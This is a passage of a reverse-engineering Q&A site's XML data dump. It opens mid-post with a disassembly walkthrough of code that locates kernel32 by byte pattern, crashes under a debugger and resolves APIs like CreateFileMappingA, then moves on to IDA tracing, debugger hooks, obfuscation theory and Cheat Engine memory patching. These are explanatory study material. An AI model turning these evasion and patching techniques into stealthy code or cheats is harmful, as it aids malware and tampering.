PTR&amp;gt;&#xA;00000842    5F              POP     EDI&#xA;00000843    5E              POP     ESI &#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;compares &lt;code&gt;byte pattern&lt;/code&gt; in k32 dll&lt;/p&gt;&#xA;&#xA;&lt;p&gt;for &lt;code&gt;95/98&lt;/code&gt; this pattern&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;00001925    C2 0400         RETN    4&#xA;00001928    57              PUSH    EDI&#xA;00001929    6A 22           PUSH    22&#xA;0000192B    2BD2            SUB     EDX, EDX&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;for &lt;code&gt;win nt&lt;/code&gt; this pattern&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;0000192D    C2 0400         RETN    4&#xA;00001930    55              PUSH    EBP&#xA;00001931    8B4C24 0C       MOV     ECX, DWORD PTR SS:[ESP+C]&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;jumps to ok or not ok&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;00000844    74 0A           JE      SHORT 00000850  `right user with right os jump`&#xA;00000846    47              INC     EDI&#xA;00000847    4A              DEC     EDX&#xA;00000848    0F84 CD000000   JE      0000091B        `wrong user with wrong os jump`&#xA;0000084E  ^ EB E9           JMP     SHORT 00000839&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;if it finds the pattern will go to 850&lt;/p&gt;&#xA;&#xA;&lt;p&gt;else 91b&lt;/p&gt;&#xA;&#xA;&lt;p&gt;at 91b there is &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;0000091B    E8 BA0D0000     CALL    000016DA&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;so this will return to 920 (see above retn to 402005)&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;00000920    8B5424 20       MOV     EDX, DWORD PTR SS:[ESP+20]  &#xA;00000924    B9 40000000     MOV     ECX, 40&#xA;00000929    83EA 05         SUB     EDX, 5&#xA;0000092C    BE 4F180000     MOV     ESI, 184F&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;this will retn to kernel or exit thread address (pushad == 0x20)&lt;br&gt;&#xA;all else are junk&lt;br&gt;&#xA;exe contains nothing at 204f to 224f will simply exit via retn&lt;br&gt;&#xA;(184f+800 ecx = 40 two lodsd = 80 dwords = 200 bytes = 224f)      &lt;/p&gt;&#xA;&#xA;&lt;p&gt;if the region compared ok to retn value - 5 (see sub edx,5)&lt;br&gt;&#xA;the app will crash and ollydbg can issue that warning    &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;00000931    03F5            ADD     ESI, EBP &#xA;00000933    AD              LODS    DWORD PTR DS:[ESI]&#xA;00000934    3BC2            CMP     EAX, EDX&#xA;00000936    AD              LODS    DWORD PTR DS:[ESI]&#xA;00000937    74 04           JE      SHORT 0000093D&#xA;00000939  ^ E2 F8           LOOPD   SHORT 00000933&#xA;0000093B    61              POPAD&#xA;0000093C    C3              RETN&#xA;0000093D    8985 47010000   MOV     DWORD PTR SS:[EBP+147], EAX&#xA;00000943    61              POPAD&#xA;00000944    EB 00           JMP     SHORT 00000946&#xA;00000946    68 00000000     PUSH    0 &amp;lt;---- apllication will crash &#xA;0000094B    C3              RETN    eip not valid or 0&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;ollydbg will show dont know how to step because memory at address 0 &#xA;is not readable try changing Eip or pass exception to program if it reaches here&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;disassembling at 850 or 402050&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;00000850    83C7 03         ADD     EDI, 3  add 3 to bytepattern address &#xA;00000853    BE E70E0000     MOV     ESI, 0EE7  &#xA;00000858    03F5            ADD     ESI, EBP 402ee7 = 16e7 (ee7 -800 + 1000)&#xA;0000085A    8BC6            MOV     EAX, ESI&#xA;0000085C    83C0 07         ADD     EAX, 7  16e7+7 = 16ee&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;byte pattern at 16ee&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;000016EE  43 72 65 61 74 65 46 69 6C 65 4D 61 70 70 69 6E  CreateFileMappin&#xA;000016FE  67 41                                            gA&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;disassembling further &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;0000085F    50              PUSH    EAX   **pushes string CreateFileMapping**&#xA;00000860    8B85 C8170000   MOV     EAX, DWORD PTR SS:[EBP+17C**8] &#xA;00000866    50              PUSH    EAX**  pushes kernel base &#xA;00000867    FFD7            CALL    NEAR EDI  (can you guess ?? what api ??)&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;try walking ahead a bit :)&lt;/p&gt;&#xA;" OwnerUserId="1924" LastEditorUserId="1924" LastEditDate="2013-07-15T22:41:14.197" LastActivityDate="2013-07-15T22:41:14.197" CommentCount="8" ContentLicense="CC BY-SA 3.0" />
  <row Id="2486" PostTypeId="1" AcceptedAnswerId="2488" CreationDate="2013-07-15T22:50:55.317" Score="14" ViewCount="4427" Body="&lt;p&gt;I have been looking for the equivalent of the &quot;Run Trace&quot; option of OllyDbg in IDA Pro. Can anyone mention if there is one and how to use it ?&lt;/p&gt;&#xA;" OwnerUserId="2463" LastEditorUserId="53" LastEditDate="2013-10-14T08:16:13.253" LastActivityDate="2013-10-14T08:16:13.253" Title="Is there an equivalent of 'Run trace' as in OllyDbg for IDA PRO?" Tags="|ida|ollydbg|ida-plugin|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="2488" PostTypeId="2" ParentId="2486" CreationDate="2013-07-16T00:40:48.127" Score="15" Body="&lt;p&gt;IDA Pro offers two tracing options:&lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;&lt;strong&gt;Instruction tracing&lt;/strong&gt; &lt;kbd&gt;Debugger-&gt;Tracing-&gt;Instruction Tracing&lt;/kbd&gt; It is very slow tracing process, since IDA monitors registers and has to record the address, the instruction, and changes values of registers, that were changed by the instruction.&lt;/li&gt;&#xA;&lt;li&gt;&lt;strong&gt;Function tracing&lt;/strong&gt; &lt;kbd&gt;Debugger-&gt;Tracing-&gt;Function Tracing&lt;/kbd&gt;. It is a subcategory of instruction tracing, where only function calls are logged. &lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&#xA;&lt;p&gt;There are also three types of tracing events: execution traces, write traces, and read/write traces. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;A trace in IDA Pro could by replayed by using &lt;em&gt;Trace replayer&lt;/em&gt;. It is located within &lt;em&gt;Debuggers&lt;/em&gt; submenu. You could switch to &lt;em&gt;Trace-replayer&lt;/em&gt; by going to &lt;kbd&gt;Debugger-&gt;Switch Debugger...-&gt;Trace replayer&lt;/kbd&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/0Hbix.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;One thing to remember that you have to have trace created before you can replay it. In order to create a trace you will need to do the following:&lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;Set a breakpoint at the point where you want you trace started. &lt;/li&gt;&#xA;&lt;li&gt;Run the program with the debugger of your choice. &lt;/li&gt;&#xA;&lt;li&gt;Whenever it breaks, select desired tracing &lt;em&gt;style&lt;/em&gt; (Instruction or Function)&lt;/li&gt;&#xA;&lt;li&gt;Run as far as necessary. You could set a second breakpoint to stop the trace.&lt;/li&gt;&#xA;&lt;li&gt;You can optionally save the trace.&lt;/li&gt;&#xA;&lt;li&gt;Replay the trace by switching debugger to &lt;em&gt;Trace replayer&lt;/em&gt;.  &lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;" OwnerUserId="2158" LastEditorUserId="2158" LastEditDate="2013-07-16T01:54:27.267" LastActivityDate="2013-07-16T01:54:27.267" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="2489" PostTypeId="1" AcceptedAnswerId="2497" CreationDate="2013-07-16T11:50:18.653" Score="8" ViewCount="365" Body="&lt;p&gt;I don't know the exact name of this obfuscation, so I call it &lt;strong&gt;variable entanglement&lt;/strong&gt; for now.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I already saw this principle in a few binaries but I never found a complete description of what was possible and what was not.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The idea is to confuse the reverser by mixing two values together and performing the operations on the mixed values. Once all operations have been performed, one can recompose the results by some simple operations. For example, a naive example could be:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;int foo (int a, int b) {&#xA;  long long x = 0;&#xA;  // Initial entanglement&#xA;  x = (a &amp;lt;&amp;lt; 32) | b;&#xA;&#xA;  // Performing operations on both variables&#xA;  x += (12 &amp;lt;&amp;lt; 32) &amp;amp; 72;&#xA;  ...&#xA;&#xA;  // Final desentanglement&#xA;  a = (int) (x &amp;gt;&amp;gt; 32);&#xA;  b = (int) (((int) -1) &amp;amp; x);&#xA;} &#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Of course, here, we mix everything in one variable (and I did not take care of &lt;em&gt;details&lt;/em&gt; such as the overflows). But, you can imagine way more complex initial entanglement where you re-split everything in two variables (or more), &lt;em&gt;e.g.&lt;/em&gt; by xoring them together. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Operations such as addition, multiplication, ... have to be redefined for this new format, so it can mislead the reverser.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;My question now, does anyone know about different such schema of variable entanglement (the one I gave is really basic) ? And, maybe, can give pointers or publication about it ?&lt;/p&gt;&#xA;" OwnerUserId="53" LastEditorUserId="189" LastEditDate="2013-07-18T01:03:16.797" LastActivityDate="2013-07-18T13:41:07.413" Title="Where and how is variable entanglement obfuscation used?" Tags="|obfuscation|whitebox-crypto|" AnswerCount="1" CommentCount="5" ContentLicense="CC BY-SA 3.0" />
  <row Id="2491" PostTypeId="1" CreationDate="2013-07-17T02:26:20.240" Score="5" ViewCount="1558" Body="&lt;p&gt;How does fastloghook work in immunity debugger pycommand section? i cant figure it out. Everything i try does not work and i know this code is a mess. I seriously dont understand fastloghook which makes me crazy when bphook worked so nicely. I need an explanation :/&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;#!/usr/bin/env python&#xA;&#xA;import immlib&#xA;import struct&#xA;from immlib import FastLogHook&#xA;&#xA;def main(args):&#xA;&#xA;&quot;&quot;&quot;&#xA;    Will hook and run its own assembly code then return control&#xA;&quot;&quot;&quot;&#xA;&#xA;imm = immlib.Debugger()&#xA;&#xA;# Set name&#xA;Name = &quot;hippie&quot;&#xA;&#xA;fast = imm.getKnowledge(Name)&#xA;&#xA;if fast:&#xA;    hook_list = fast.getAllLog()&#xA;    imm.log(str(hook_list))&#xA;        imm.log(&quot;%s&quot; item[1[0]])&#xA;&#xA;# Instantiate fastloghook&#xA;fast = immlib.FastLogHook(imm)&#xA;&#xA;# Primary address to hook on to&#xA;fast.logFunction(imm.getAddress(&quot;msvcrt.strcpy&quot;))&#xA;&#xA;# Takes register and offset. dereference parameters from the stack&#xA;# or capture data at a known offset from a register&#xA;fast.logBaseDisplacement('ESP', 0x4)&#xA;fast.logBaseDisplacement('ESP', 0x8)&#xA;&#xA;# Tracks the value of a specific register when the hook is hit&#xA;fast.logRegister(&quot;ESP&quot;)&#xA;&#xA;# Logs known memory offset at hook time&#xA;# fast.logDirectMemory()&#xA;&#xA;# Set the hook&#xA;fast.Hook()&#xA;&#xA;# Save data so we can retrieve results later&#xA;imm.addKnowledge(Name, fast, force_add=1)&#xA;&#xA;return &quot;LogBPHook installed&quot;`&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="2464" LastEditorUserId="2158" LastEditDate="2013-07-17T02:35:10.233" LastActivityDate="2013-07-17T04:19:14.410" Title="How to use fastloghook in immunity debugger" Tags="|python|immunity-debugger|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="2492" PostTypeId="2" ParentId="2491" CreationDate="2013-07-17T03:24:33.000" Score="6" Body="&lt;p&gt;&lt;strong&gt;FastLogHook&lt;/strong&gt; is one of the 13 hook types that Immunity Debugger comes with. Essentially, the purpose of this type of hook is to use tiny assembly stub to transfer execution to a hook function in order to log particular registers and/or memory locations. &lt;strong&gt;FastLogHook&lt;/strong&gt; is essentially an python object, which allows us to setup hard hook relatively easy.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The definition of setup is as following:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;debugger  = immlib.Debugger()&#xA;fast_hook = immlib.FasLogHook(debugger)&#xA;&#xA;fast_hook.logFunction(address, number_of_arguments)&#xA;fast_hook.logRegister(register)&#xA;fast_hook.logDirectMemory(address)&#xA;fast_hook.logBaseDisplacement( register, offset ) &#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;logFunction()&lt;/strong&gt; returns us the address of the original instruction we need to overwrite with the jump to our hook function. It is absolutely required. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;logRegister()&lt;/strong&gt;, &lt;strong&gt;logDirectMemory()&lt;/strong&gt;, and &lt;strong&gt;logBaseDisplacement()&lt;/strong&gt; are methods to track specific values of particular register, memory location, or certain offset from the register respectively at hook time. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;FastLogHook&lt;/strong&gt; will not interrupt the execution and smoothly log the results to debugger object. &lt;strong&gt;BpHook&lt;/strong&gt; on the other hand is totally different type of a hook. When &lt;strong&gt;BpHook&lt;/strong&gt; is called, it will halt execution. &lt;/p&gt;&#xA;" OwnerUserId="2158" LastEditorUserId="2158" LastEditDate="2013-07-17T04:19:14.410" LastActivityDate="2013-07-17T04:19:14.410" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="2493" PostTypeId="1" AcceptedAnswerId="2496" CreationDate="2013-07-17T04:51:41.077" Score="8" ViewCount="14502" Body="&lt;p&gt;I have a DLL with a large number of functions in IDA Pro. I would like to make a script that can scan the instructions within each of the functions looking for a specific instruction. For my specific case right now, I am looking for functions that shift left (shl). I am not sure which register is being shifted so I would like to keep it versatile. I do know that it is only shifting one place in this specific case.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I know python on a very basic level, and I know IDA-Python on a non-existent level. Please help me with suggestions on how to access this data inside IDA.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Edit:&lt;br&gt;&#xA;I have read through &lt;a href=&quot;https://stackoverflow.com/questions/8860020/is-there-a-way-to-export-function-names-from-ida-pro?rq=1&quot;&gt;this question&lt;/a&gt; and it says that there is no direct access to the list of functions that have been discovered by IDA.  You have to specify a starting function address.  Is there any better way to list functions?&lt;/p&gt;&#xA;" OwnerUserId="2458" LastEditorUserId="-1" LastEditDate="2017-05-23T12:37:19.663" LastActivityDate="2017-07-09T07:15:14.180" Title="IDA Pro List of Functions with Instruction" Tags="|ida|idapython|" AnswerCount="2" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="2494" PostTypeId="2" ParentId="2474" CreationDate="2013-07-17T07:42:02.197" Score="13" Body="&lt;p&gt;You can try Netzob tool. This is a tool dedicated to reverse engineering protocols.&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;You can download it here : &lt;a href=&quot;http://www.netzob.org/&quot;&gt;http://www.netzob.org/&lt;/a&gt;&lt;/li&gt;&#xA;&lt;li&gt;A great example w/ ZeroAccess C&amp;amp;C protocol : &lt;a href=&quot;http://www.netzob.org/documentations/presentations/netzob_29C3_2012.pdf&quot;&gt;http://www.netzob.org/documentations/presentations/netzob_29C3_2012.pdf&lt;/a&gt;&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;You can also take a look at CANAPE : &lt;a href=&quot;http://www.contextis.com/research/tools/canape/&quot;&gt;http://www.contextis.com/research/tools/canape/&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="1309" LastEditorUserId="1309" LastEditDate="2013-10-07T18:34:07.907" LastActivityDate="2013-10-07T18:34:07.907" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="2495" PostTypeId="2" ParentId="2493" CreationDate="2013-07-17T13:55:11.457" Score="6" Body="&lt;p&gt;Your best bet is to use IDAPython API to do this.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;To iterate trough all functions you could do something like &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;from idautils import *&#xA;from idaapi import *&#xA;&#xA;ea = BeginEA()&#xA;for funcea in Functions(SegStart(ea), SegEnd(ea)):&#xA;    functionName = GetFunctionName(funcea)&#xA;    functionStart = &quot;0x%08x&quot;%funcea&#xA;    functionEnd = &quot;0x%08x&quot;%FindFuncEnd(funcea)&#xA;    # ...&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;When you have the start and the end of the function, you can iterate over all effective addresses inbetween and use GetMnem() to get the instruction on that address. Of course, you'd need to handle some specific cases, instruction size and all, but that's the general idea. &lt;/p&gt;&#xA;" OwnerUserId="304" LastEditorUserId="8200" LastEditDate="2017-07-09T07:15:14.180" LastActivityDate="2017-07-09T07:15:14.180" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="2496" PostTypeId="2" ParentId="2493" CreationDate="2013-07-17T13:59:08.703" Score="9" Body="&lt;p&gt;While in the Text View of the disassembly window, press &lt;kbd&gt;Alt + T&lt;/kbd&gt;. In the Text Search window, search for &lt;code&gt;shl&lt;/code&gt; and check &lt;code&gt;Find all occurrences&lt;/code&gt;:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/OR0Mt.png&quot; alt=&quot;Text Search window&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Press &lt;code&gt;OK&lt;/code&gt; and you will get a list of all functions that contain &lt;code&gt;shl&lt;/code&gt;:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/dCWjK.png&quot; alt=&quot;Occurrences of: shl&quot;&gt;&lt;/p&gt;&#xA;" OwnerUserId="1562" LastActivityDate="2013-07-17T13:59:08.703" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="2497" PostTypeId="2" ParentId="2489" CreationDate="2013-07-17T15:08:37.250" Score="8" Body="&lt;p&gt;I'm not sure whether this is along the lines you're looking for (and quite possibly you've already figured out all of this and more), but here's a crude formalization and then some implementation thoughts.  Conceptually, this tries to separate what it &lt;em&gt;means&lt;/em&gt; to entangle several values from how entangled values are &lt;em&gt;represented&lt;/em&gt;.  &lt;/p&gt;&#xA;&#xA;&lt;h3&gt;Formalization&lt;/h3&gt;&#xA;&#xA;&lt;p&gt;Conceptually, entangled values can be thought of as &lt;em&gt;aggregates&lt;/em&gt; where the different components retain their values, don't interfere with each other, and can be independently extracted.  A convenient way to think of such aggregates is as &lt;em&gt;n&lt;/em&gt;-tuples of values; for simplicity I assume &lt;em&gt;n&lt;/em&gt; = 2 here.  Also, I assume that we have operations to construct tuples from a collection of values, and to extract the component values from a tuple.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;We now need to be able to carry out operations on tuples.&#xA;For this, for each operation &lt;strong&gt;op&lt;/strong&gt; in the original program we now have 2 versions: &lt;strong&gt;op1&lt;/strong&gt;, which operates on the first component of a 2-tuple, and &lt;strong&gt;op2&lt;/strong&gt;, which operates on the second component:&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;&amp;lt;a1,b1&amp;gt; &lt;b&gt;op1&lt;/b&gt; &amp;lt;a2,b2&amp;gt; = if (b1 == b2) then &amp;lt;(a1 &lt;b&gt;op&lt;/b&gt; a2), b1&amp;gt; else undefined&lt;br&gt;&#xA;&amp;lt;a1,b1&amp;gt; &lt;b&gt;op2&lt;/b&gt; &amp;lt;a2,b2&amp;gt; = if (a1 == a2) then &amp;lt;a1, (b1 &lt;b&gt;op&lt;/b&gt; b2)&amp;gt; else undefined&lt;br&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;Finally (and this is where the obfuscation comes in), we need a way to encode tuples as values and decode values into tuples.  If the set of values is S, then we need two functions &lt;strong&gt;enc&lt;/strong&gt; and &lt;strong&gt;dec&lt;/strong&gt; that must be inverses of each other:&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;&lt;b&gt;enc&lt;/b&gt;: S x S --&gt; S  (encode pairs of values as a single entangled value)&lt;br&gt;&#xA;&lt;b&gt;dec&lt;/b&gt;: S --&gt; S x S  (decode an entangled value into its components)&lt;br&gt;&#xA;&lt;p&gt;&#xA;&lt;b&gt;enc&lt;/b&gt;(&lt;b&gt;dec&lt;/b&gt;(x)) = x   for all x&lt;br&gt;&#xA;&lt;b&gt;dec&lt;/b&gt;(&lt;b&gt;enc&lt;/b&gt;(x)) = x   for all x&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;Examples: &lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&lt;p&gt;&lt;strong&gt;enc&lt;/strong&gt; takes a pair  of 16-bit values and embeds them into a 32-bit value w such that x occupies the low 16 bits of w and y occupies the high 16 bits of w; &lt;strong&gt;dec&lt;/strong&gt; takes a 32-bit value and decodes them into a pair  where x is the low 16 bits and y is the high 16 bits.&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;&lt;strong&gt;enc&lt;/strong&gt; takes a pair &amp;lt;x,y&amp;gt; of 16 bit values and embeds them into a 32-bit word w such that x occupies the even-numbered bit positions of w and y occupies the odd-numbered bit positions of w (i.e., their bits are interlaced); &lt;strong&gt;dec&lt;/strong&gt; takes a 32-bit value w and decodes them into a pair &amp;lt;x,y&amp;gt; such that x consists of the even-numbered bits of w and y consists of the odd-numbered bits of w.&lt;/p&gt;&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;h3&gt;Implementation considerations&lt;/h3&gt;&#xA;&#xA;&lt;p&gt;From an implementation perspective, we'd like to be able to perform operations directly on encoded representations of values.  For this, corresponding to each of the operations &lt;strong&gt;op1&lt;/strong&gt; and &lt;strong&gt;op2&lt;/strong&gt; above, we need to define &quot;encoded&quot; versions &lt;b&gt;op1*&lt;/b&gt; and &lt;b&gt;op2*&lt;/b&gt; that must satisfy the following soundness criterion:&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;for all x1, x2, and y: x1 &lt;b&gt;op1*&lt;/b&gt; x2 = y  IFF  &lt;b&gt;enc&lt;/b&gt;( &lt;b&gt;dec&lt;/b&gt;(x1) &lt;b&gt;op1&lt;/b&gt; &lt;b&gt;dec&lt;/b&gt;(x2) ) = y&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;and similarly for &lt;b&gt;op2*&lt;/b&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;A lot of details are omitted (mostly easy enough to work out), and this basic approach could be prettified in various ways, but I don't know whether this is along the lines you were asking for and also whether maybe this is pretty straightforward and you've already worked it all out for yourself.  Anyway, I hope this is useful.&lt;/p&gt;&#xA;&#xA;&lt;hr&gt;&#xA;&#xA;&lt;p&gt;From @perror's comment (below) it seems clear that the formalization above is not powerful enough to capture the obfuscation he has in mind (though it might be possible to get a little mileage from generalizing the encoding/decoding functions &lt;strong&gt;enc&lt;/strong&gt; and &lt;strong&gt;dec&lt;/strong&gt;).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I had forgotten about this paper, which discusses a transformation that seems relevant (see Sec. 6.1, &quot;Split variables&quot;):&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;Christian Collberg, Clark Thomborson, and Douglas Low. Breaking Abstractions and Unstructuring Data Structures. &lt;em&gt;IEEE International Conference on Computer Languages&lt;/em&gt; (ICCL'98), May 1998. (&lt;a href=&quot;http://www.cs.arizona.edu/~collberg/content/research/papers/collberg98breaking.pdf&quot; rel=&quot;nofollow&quot;&gt;link&lt;/a&gt;)&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;" OwnerUserId="2303" LastEditorUserId="2303" LastEditDate="2013-07-18T13:41:07.413" LastActivityDate="2013-07-18T13:41:07.413" CommentCount="4" ContentLicense="CC BY-SA 3.0" />
  <row Id="2498" PostTypeId="1" CreationDate="2013-07-17T17:34:38.643" Score="3" ViewCount="2099" Body="&lt;p&gt;I don't have much experience with assembly and I am trying to change a step value that changes a final value, these are the opcodes that I am working with and this is how they are set:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;movss xmm0,[eax+30]  &#xA;addss xmm0,[esi+00000094]&#xA;movss [eax+30],xmm0&#xA;movss xmm0,[esi+00000098]&#xA;addss xmm0,[eax+34]    &#xA;movss [eax+34],xmm0&#xA;movss xmm0,[esi+0000009C]&#xA;addss xmm0,[eax+38] &#xA;movss [eax+38],xmm0 &#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Now so far I think the &lt;code&gt;addss&lt;/code&gt; lines are the ones responsible for increasing or decreasing the &lt;code&gt;xmm0&lt;/code&gt; float value in:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;movss [eax+30],xmm0&#xA;movss [eax+34],xmm0&#xA;movss [eax+38],xmm0&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;What I am trying to achieve is to multiply the step value that is being added to &lt;code&gt;xmm0&lt;/code&gt; in the &lt;code&gt;addss&lt;/code&gt; lines:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;addss xmm0,[esi+00000094]&#xA;addss xmm0,[eax+34]&#xA;addss xmm0,[eax+38]&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Which I assume to be the &lt;code&gt;[esi+00000094] [eax+34] [eax+38]&lt;/code&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I tried multiplying them by (float)2.00 (and other multiplying factors such as 1.50 and 0.20) like this&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;addss xmm0,[esi+00000094]*(float)2.00&#xA;addss xmm0,[eax+34]*(float)2.00&#xA;addss xmm0,[eax+38]*(float)2.00&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;But of course my ignorance proved that this isn't the way to do it and since I have practically 0 knowledge in this field I decided to ask for help.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;A better explanation of what I think is going on here and what I am trying to do goes like this:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;addss xmm0,[esi+00000094] == addss 31.00,[0.43]      &amp;lt;- 31 being the current/old&#xA;                                                        value and 0.43 being the&#xA;                                                        increment value that &#xA;                                                        will add to 31&#xA;&#xA;movss [eax+30],xmm0       == movss [XXXXXXXXX],31.43 &amp;lt;- XXX being the address&#xA;                                                        that holds the new value&#xA;                                                        and xmm0 the one that&#xA;                                                        will copy the new value&#xA;                                                        to the target&#xA;                                                        address/register&#xA;&#xA;&#xA;---what I am trying to do if I am correct---&#xA;&#xA;&#xA;addss 31.00,[0.43*n]    &amp;lt;- n being a float point set by me (2.00 or 1.50 or 0.03)&#xA;&#xA;movss [XXXXXXXXX],31.86 &amp;lt;- final value is copied to the target address with the&#xA;                           intended increment/decrement (in case of 0.### float&#xA;                           values) effectively set by me&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Can anyone tell me the correct way to to this? I don't even know if the &lt;code&gt;addss&lt;/code&gt; lines are the correct ones where I can modify the step value (the one that increases or decreases the last &lt;code&gt;xmm0&lt;/code&gt; value in &lt;code&gt;movss [eax+30],xmm0 | movss [eax+34],xmm0 | movss [eax+38],xmm0&lt;/code&gt;).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I am using&lt;a href=&quot;http://www.cheatengine.org&quot; rel=&quot;nofollow&quot;&gt; [CE's]&lt;/a&gt; auto assembler tool to achieve this, modifying memory values.&lt;/p&gt;&#xA;" OwnerUserId="2477" LastActivityDate="2013-07-17T19:21:46.133" Title="Modifying step value that affects xmm# float value" Tags="|assembly|x86|" AnswerCount="1" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
